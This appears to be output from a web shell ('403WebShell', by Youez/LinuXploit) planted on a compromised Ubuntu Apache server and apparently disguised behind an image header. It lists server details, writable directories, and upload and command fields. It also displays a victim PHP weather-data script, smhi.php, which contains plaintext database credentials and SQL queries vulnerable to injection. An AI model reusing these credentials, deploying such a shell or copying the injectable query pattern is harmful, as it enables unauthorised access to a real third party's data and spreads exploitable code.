????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.22.79.2
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/shellyctr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/shellyctr/smhi.php
<?php

    $mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "ShellyCTR");

    $sql = "SELECT * FROM tblUsers";

    $result = $mysqli->query($sql);

    while($obj = $result->fetch_object()){  
        $lat =  $obj->lat;  
        $lon =  $obj->lon;  
        $Username =  $obj->Username;      

        echo( $Username . " lat: ".$lat." lon: ".$lon."<br>");
        
			$url = 'https://opendata-download-metfcst.smhi.se/api/category/pmp3g/version/2/geotype/point/lon/'.$lon.'/lat/'.$lat.'/data.json';
			$JSON = file_get_contents($url);
			
			$data = json_decode($JSON,true);
			$data = $data['timeSeries'];

        
        $array_lable = array();
        
        $START = false;
        $STOP = false;
			foreach($data as $item) { //foreach element in $arr

				$parameters = $item['parameters'];
				foreach($parameters as $para){
					
                    if($para['name'] == "t"){
						$lable = str_replace("T", " ",$item['validTime']);
						$lable = str_replace("Z", "",$lable);
                        if(date("Y-m-d 00:00:00",strtotime("+1 day")) == $lable){
                              $START = true;
                        }
                        
                        if(date("Y-m-d 00:00:00",strtotime("+2 day")) == $lable){
                              $STOP = true;
                        }
                        
                        
                        if($START == true && $STOP == false){
				            $array_lable[] = $lable;
                        }
					}
                }
            }
			
            $array_t = array();
			$array_ws = array();
            $array_tcc_mean = array();
   
			foreach($data as $item) { //foreach element in $arr

				$parameters = $item['parameters'];
				foreach($parameters as $para){
					
                    if($para['name'] == "t"){
						$lable = str_replace("T", " ",$item['validTime']);
						$lable = str_replace("Z", "",$lable);
                        if(in_array($lable, $array_lable) == true){
						  $array_t[] = $para['values'][0];
		                }
					}
                    
                    if($para['name'] == "ws"){
							$lable = str_replace("T", " ",$item['validTime']);
							$lable = str_replace("Z", "",$lable);
							if(in_array($lable, $array_lable) == true){
                                $array_ws[] = $para['values'][0];
                            }
					}
                    
                    if($para['name'] == "tcc_mean"){

							$lable = str_replace("T", " ",$item['validTime']);
							$lable = str_replace("Z", "",$lable);
                        if(in_array($lable, $array_lable) == true){
							$array_tcc_mean[] = $para['values'][0];
                        }
					}
				}

			}

     

			$x = 0;
			$array_t_effektiv = array();
			foreach($array_lable as $item) { //foreach element in $arr
		
				//$array_t[$x]+$array_ws[$x]
				if($array_t[$x] > 10 && $array_ws[$x] < 2){
					$T_eff = $array_t[$x];
				}else{
					$T_eff = round(13.12+0.6125*$array_t[$x] - 13.956*pow($array_ws[$x],0.16) + 0.48669*$array_t[$x]*pow($array_ws[$x],0.16),1);
				}
				
				$array_t_effektiv[] = $T_eff;

				$x = $x + 1;
			}
			
    }
	
$x = 0;
foreach($array_lable as $lable){
		
			
			
			$lable = str_replace("T", " ",$lable);
			$lable = str_replace("Z", "",$lable);
	
            $lable2 = date("Y-m-d H:i:s",strtotime($lable . " +1 hour"));
    
            //echo( $lable2 . " - ". date("Y-m-d 00:00:00", strtotime("+2 day +1 hour")));
            if($lable2 == date("Y-m-d 00:00:00", strtotime("+2 day +1 hour"))){ // FIX 2023-12-16 00:00:00 -> 2023-12-15 24:00:00
                $lable2 = date("Y-m-d 24:00:00",strtotime("+1 day"));
            }
                
            $t = $array_t[$x];
			$ws = $array_ws[$x];
			$t_effektiv = $array_t_effektiv[$x];
			$tcc_mean = $array_tcc_mean[$x];
			
          
    	    $sql = "SELECT * FROM tblSMHI WHERE Username = '".$Username."' and startTime = '".$lable."';";
             $result = $mysqli->query($sql);

					$v = "null";
					  while($obj = $result->fetch_object()){  
						$v = $obj->value;
						$SMHIId = $obj->SMHIId;
					}
    
    

					if($v == "null"){
						  $sql = "INSERT INTO tblSMHI VALUES (null,'".$Username."','".$lable."','".$lable2."','".$t."','".$ws."','".$t_effektiv."','".$tcc_mean."');";
							echo($sql."<br>");
							$mysqli->query($sql);
					}else{
						$sql = "UPDATE tblSMHI SET t = '".$t."',ws = '".$ws."',t_effective = '".$t_effektiv."',tcc_mean = '".$tcc_mean."' WHERE SMHIId = $SMHIId;";
				        echo($sql."<br>");
						$mysqli->query($sql);
					}
		    
  $x++;      
}
	?>



Youez - 2016 - github.com/yon3zu
LinuXploit